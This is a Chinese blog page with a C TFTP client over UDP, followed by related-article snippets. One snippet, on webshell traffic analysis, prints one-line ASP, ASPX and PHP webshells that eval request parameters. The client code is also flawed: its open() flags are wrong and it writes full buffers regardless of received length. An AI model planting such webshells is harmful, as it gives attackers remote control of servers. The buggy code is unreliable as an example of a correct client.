基于UDP的TFTP文件传输
代码:
#include <myhead.h>//实现下载功能
int download(int cfd,struct sockaddr_in sin)
{char buf[516] = ""; //定义资源包char fileName[128] = ""; //定义文件名printf("请输入文件名:");scanf("%s",fileName); getchar();//打开文件int fd = -1;if((fd = open(fileName,O_RDWR|O_CREAT|O_TRUNC|0666)) == -1){perror("open error"); //读写形式创建文件,文件名为输入的文件名return -1;}//组装请求包short *p1 = (short *)buf;*p1 = htons(1);char *p2 = buf + 2;strcpy(p2,fileName);char *p3 = p2+strlen(p2)+1;strcpy(p3,"octet"); int size = 4+strlen(p2)+strlen(p3); //整体长度//先发送下载请求到服务器if(sendto(cfd,buf,size,0,(struct sockaddr*)&sin,sizeof(sin))==-1){perror("sendto error");return -1;}printf("请求成功!\n");socklen_t socklen = sizeof(sin);char *p5 = buf + 4; //确定数据的位置以及差错信息的位置while(1){bzero(buf,sizeof(buf));int res=recvfrom(cfd,buf,sizeof(buf),0,(struct sockaddr*)&sin,&socklen);int A = buf[1]; //因为小端存储,操作码放在buf的第二位if(A == 3) //当操作码为3时,证明是数据包,正常接收{write(fd,p5,sizeof(buf));buf[1]=4; //将操作码改为4,即ACK//将buf前四位发送回去,因为操作码已经修改,发回去四位当做ACK回复sendto(cfd,buf,4,0,(struct sockaddr*)&sin,sizeof(sin));}else if(A == 5) //当操作码为5时,证明为ERROR{printf("%s\n",p5);return -1;}if(res < 516) //当接收到的字节数小于516时,证明已经接收完成,关闭循环break;}printf("下载完成\n");close(fd); //关闭文件
}//实现上传功能
int upload(int cfd,struct sockaddr_in sin)
{char buf[516] = ""; //定义资源包char fileName[128] = ""; //定义文件名printf("请输入文件名:");scanf("%s",fileName); getchar();//打开文件int fd = -1;if((fd = open(fileName,O_RDONLY)) == -1){perror("open error"); //只读形式打开文件,文件名为输入的文件名return -1;}//组装请求包short *p1 = (short *)buf;*p1 = htons(2); //操作码为2代表要上传char *p2 = buf + 2;strcpy(p2,fileName);char *p3 = p2+strlen(p2)+1;strcpy(p3,"octet"); int size = 4+strlen(p2)+strlen(p3); //整体长度//先发送上传请求到服务器if(sendto(cfd,buf,size,0,(struct sockaddr*)&sin,sizeof(sin))==-1){perror("sendto error");return -1;}printf("请求成功!\n");socklen_t socklen = sizeof(sin);int n = 1;while(1){bzero(buf,sizeof(buf));recvfrom(cfd,buf,4,0,(struct sockaddr*)&sin,&socklen);int res = read(fd,buf+4,sizeof(buf)-4); //将文件的512位写入数据包buf[1]=3; //将操作码改为3,即数据包//将buf发送,因为操作码已经修改,发回去数据加上了操作码和块编号sendto(cfd,buf,sizeof(buf),0,(struct sockaddr*)&sin,sizeof(sin));if(res==0) //证明已经上传完成,关闭循环break;}printf("上传完成\n");close(fd); //关闭文件}
int main(int argc, const char *argv[])
{if(argc != 2){printf("input error");return -1;}//创建套接字int cfd = socket(AF_INET,SOCK_DGRAM,0);if(cfd == -1){perror("socket error");return -1;}//填充服务器结构体struct sockaddr_in sin;sin.sin_family = AF_INET;sin.sin_port = htons(69);sin.sin_addr.s_addr = inet_addr(argv[1]);int key = 0;while(1){system("clear");printf("\t\t菜单\t\t\n");printf("\t\t1.下载\t\t\n");printf("\t\t2.上传\t\t\n");printf("\t\t0.关闭\t\t\n");printf("请输入选项:");scanf("%d",&key);getchar();switch(key){case 1:{//下载int A =download(cfd,sin);};break;case 2:{//上传int B =upload(cfd,sin);};break;case 0:{goto A;};break;default:printf("请输入正确的选项!\n");}//阻塞printf("输入任意键,按回车清空");while(getchar() != '\n');}A:close(cfd);return 0;
}
上传文件

下载文件

相关文章:
基于UDP的TFTP文件传输
代码: #include <myhead.h>//实现下载功能 int download(int cfd,struct sockaddr_in sin) {char buf[516] ""; //定义资源包char fileName[128] ""; //定义文件名printf("请输入文件名:");scanf("%s",fileName…...
抵御代码重用攻击:指针认证(PAC)和分支目标识别(BTI)
目录 一、代码重用攻击历史 二、小工具(Gadgets):它们是什么?为什么它们很危险? 三、ROP攻击...
业务逻辑漏洞
业务逻辑漏洞 扫描器扫不出来 漏洞包括 暴力破解任意用户/密码登陆短信/邮箱轰炸验证码绕过/爆破/重放/回传用户名/手机号枚举(用户名枚举:当用户登录时,显示用户名不存在,或密码不正确,两个其中一个不正确就称为用户名枚举)越…...
Vue框架学习笔记——计算属性
文章目录 前文提要代码需求描述插值语法实现methods实现 计算属性getter执行时间:setter 计算属性简写形式(只读不改,才能如此简写)slice截取元素,限制输入字符数量 前文提要 本人仅做个人学习记录,如有错…...
初识PO模式并在Selenium中简单实践
初识PO模式 PO(PageObject)是一种设计模式。简单来说就是把一些繁琐的定位方法、元素操作方式等封装到类中,通过类与类之间的调用完成特定操作。 PO被认为是自动化测试项目开发实践的最佳设计模式之一。 在学习PO模式前,可以先…...
读书笔记:彼得·德鲁克《认识管理》第35章 以任务和工作为中心的设计
一、章节内容概述 如今我们已经拥有五种不同的组织设计原则,其中每一种都能够满足若干设计规范,但任何一种都不能满足所有规范;其中每一种都有自身的优势、劣势和对效果的严格要求,都蕴含着特定的组织设计逻辑。其中前两种设计原则ÿ…...
算法基础课 (一) 基础算法
进制转换 #include<iostream> using namespace std; const int N 100; int n,m; string s; int x;//记录n进制转化成十进制; int ans[N]; int main(){cin>>n>>s>>m;int t1;for(int is.size()-1;i>0;i--){if(s[i]<A){x t*(int)(s[i]-0);t * n;…...
【Python】jieba分词基础
jieba分词主要有3种模式: 1、精确模式:jieba.cut(文本, cut_allFalse) 2、全模式:jieba.cut(文本, cut_allTrue) 3、搜索引擎模式:jieba.cut_for_search(文本) 分词后的关键词提取: jieba.analyse.textrank(txt,t…...
使用jmeter对接口进行简单测试
JMeter是一个开源的性能测试工具,它可以对于Web应用程序、FTP、数据库服务器等各种服务器进行性能测试和负载测试,以确定它们是否能够承受预期的负载。JMeter支持多种协议和技术,如HTTP、HTTPS、FTP、JDBC、LDAP、SOAP、JMS等。它使用Java编写…...
成长在于积累——https 认证失败的学习与思考
1. 引言 本周二长城项目在收尾过程中,出现了一个车端无法进行注册的问题:curl提示证书认证失败(其实已经能确认问题方向了,运维人员去确认证书问题即可)。虽然最终的原因是由于长城运维人员导致的。但是这个过程让我颇…...
C语言——数字金字塔
实现函数输出n行数字金字塔 #define _CRT_SECURE_NO_WARNINGS 1#include <stdio.h>void pyramid(int n) {int i,j,k;for (i1; i<n; i){//输出左边空格,空格数为n-i for (j1; j<n-i; j){printf(" "); } //每一行左边空格输完后输出数字&#…...
关于 typedef 的用法
typedef 是 C 和 C 语言中的关键字,用于创建类型的别名。它的主要作用是给一个已有的类型定义一个新的名称,以提高代码的可读性和可维护性。下面是 typedef 的几种常见用法: 用于给基本类型定义别名: typedef int myint;上述代码…...
Webshell流量分析
Webshell流量分析 常见的一句话木马: asp一句话 <%eval request("pass")%> aspx一句话 <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> php一句话 <?php @eval($_POST["pass&…...
高级IO—poll,epoll,reactor
高级IO—poll,epoll,reactor 文章目录 高级IO—poll,epoll,reactorpoll函数poll函数接口poll服务器 epollepoll的系统调用epoll_createepoll_ctlepoll_wait epoll的工作原理epoll的工作方式水平触发边缘触发 epoll服务器 reactor poll函数 poll函数是一个用于多路复用的系统调…...
一文详解Python中常用数据类型
文章目录 Python 中常用的数据类型包括:Python 中布尔类型(bool)Python 中的数字类型概述Pyhon中的字符串概述Python 中的List概述Python 中的元组类型(tuple)Python中的字典(Dictionary)Python中的集合(Set)Python中的…...
【MATLAB源码-第85期】基于farrow结构的滤波器仿真,截止频率等参数可调。
操作环境: MATLAB 2022a 1、算法描述 Farrow结构是一种用于实现可变数字滤波器的方法,尤其适用于数字信号处理中的采样率转换和时变滤波。它通过多项式近似来实现对滤波器系数的平滑变化,使得滤波器具有可变的群延时或其他参数。 Farrow结…...
ChatGPT Plus/GPT4高级数据分析和插件功能详解
ChatGPT 在论文写作与编程方面也具备强大的能力。无论是进行代码生成、错误调试还是解决编程难题,ChatGPT都能为您提供实用且高质量的建议和指导,提高编程效率和准确性。此外,ChatGPT是一位出色的合作伙伴,可以为您提供论文写作的…...
【Android Jetpack】Room数据库
文章目录 引入EntitiesPrimary Key主键索引和唯一性对象之间的关系外键获取关联的Entity对象嵌套对象Data Access Objects(DAOs)使用Query注解的方法简单的查询带参数查询返回列的子集可被观察的查询 数据库迁移用法 引入 原始的SQLite有以下两个缺点: …...
自定义中间件
1.使用 app.use0来定义全局生效的中间件 // 导入 express 模块 const express require(express) // 创建 express的服务器实例 const app express() app.use(function(req, res, next) {// 中间件的业务逻辑 }) 2.监听 req 的 data 事件 在中间件中,需要监听 re…...
优化机器学习:解析数据归一化的重要性与应用
在机器学习中,数据归一化是一种数据预处理的技术,旨在将数据转换为相似的范围或标准化的分布。这样做的主要目的是消除不同特征之间的量纲差异或数值范围差异,以确保模型在训练时更稳定、更有效地学习特征之间的关系。 通常,机器…...
Qt播放MP4视频时,如何优雅地处理播放列表和播放模式?一个实战案例分享
Qt播放MP4视频时如何优雅处理播放列表与播放模式 在开发多媒体应用时,播放列表管理和播放模式切换往往是比基础播放功能更具挑战性的部分。本文将深入探讨如何在Qt框架下构建一个健壮的MP4播放器,重点解决播放列表的智能管理和多种播放模式的优雅实现。…...
GLM-OCR真实案例:识别合同文档、发票表格,办公效率翻倍
GLM-OCR真实案例:识别合同文档、发票表格,办公效率翻倍 1. 为什么你需要关注GLM-OCR 每天面对堆积如山的合同、发票和各类文档,你是否也经历过这样的痛苦时刻?眼睛酸痛地逐字核对合同条款,手动录入发票数据到Excel表…...
GLM-4.1V-9B-Base在Web开发中的融合:Node.js后端服务集成实践
GLM-4.1V-9B-Base在Web开发中的融合:Node.js后端服务集成实践 1. 引言:当Node.js遇见多模态AI 想象一下,你的电商网站用户上传了一张商品图片,系统不仅能自动识别商品类别,还能生成吸引人的营销文案——这就是GLM-4.…...
VSCode插件开发:集成Phi-4-mini-reasoning实现智能代码补全与解释
VSCode插件开发:集成Phi-4-mini-reasoning实现智能代码补全与解释 1. 为什么需要更智能的代码补全 传统的代码补全工具如Codex主要基于模式匹配和统计概率,虽然能快速给出建议,但缺乏真正的理解能力。在实际开发中,我们经常遇到…...
火绒安全软件6.0 深度评测 | 安静、安全、纯粹的“反PUA型“杀毒软件
🛡️ 火绒安全软件6.0 深度评测 一、 软件简介 定义:Windows终端安全软件,成立于2012年,以“干净”著称。定位:只做安全本质(不做浏览器、输入法、导航),不靠广告赚钱(…...
OpenClaw学习助手:Qwen3.5-9B-AWQ-4bit实现错题本自动整理
OpenClaw学习助手:Qwen3.5-9B-AWQ-4bit实现错题本自动整理 1. 为什么需要自动化错题本 作为一名经常需要刷题的学生,我长期被错题整理问题困扰。传统的手动整理方式效率低下——需要先拍照或截图,再手动输入题目内容,最后分类归…...
测试用例模版与标准规范
一、测试用例通用模版(支持自动化生成与质量判定)字段名必填说明与格式要求自动化生成来源质量判定规则用例ID是{层级}_{类型}_{模块}_{序号}例:SYS_IT_ORDER_001自动生成唯一性、格式正则校验用例标题是[类型][正向/异常] 操作预期效果例&am…...
OpenClaw+千问3.5-9B智能搜索:快速定位本地文件
OpenClaw千问3.5-9B智能搜索:快速定位本地文件 1. 为什么需要智能文件搜索 作为一个长期与代码和文档打交道的开发者,我经常陷入"文件存在但找不到"的困境。传统的文件名搜索在面对以下场景时显得力不从心: 只记得文档内容关键词…...
Qwen3-14B-Int4-AWQ辅助系统设计:从需求到UML类图与序列图的自动生成
Qwen3-14B-Int4-AWQ辅助系统设计:从需求到UML类图与序列图的自动生成 1. 系统设计的新助手 想象一下这样的场景:你刚开完需求讨论会,脑子里装满了各种功能模块和交互流程的构想。现在需要把这些想法转化为规范的UML设计文档,但手…...
balance_callbacks及cpu offline的相关细节
一、背景 之前的博客 cpu的possible present online active的mask细节 和 cpu hotplug的调用链整理 里,我们讲述了cpu online的状态及相关细节,cpu online和offline的状态,其实就是镜像地的逻辑,这篇博客里我们讲述__schedule函数,如下图里的__balance_callbacks的相关细…...
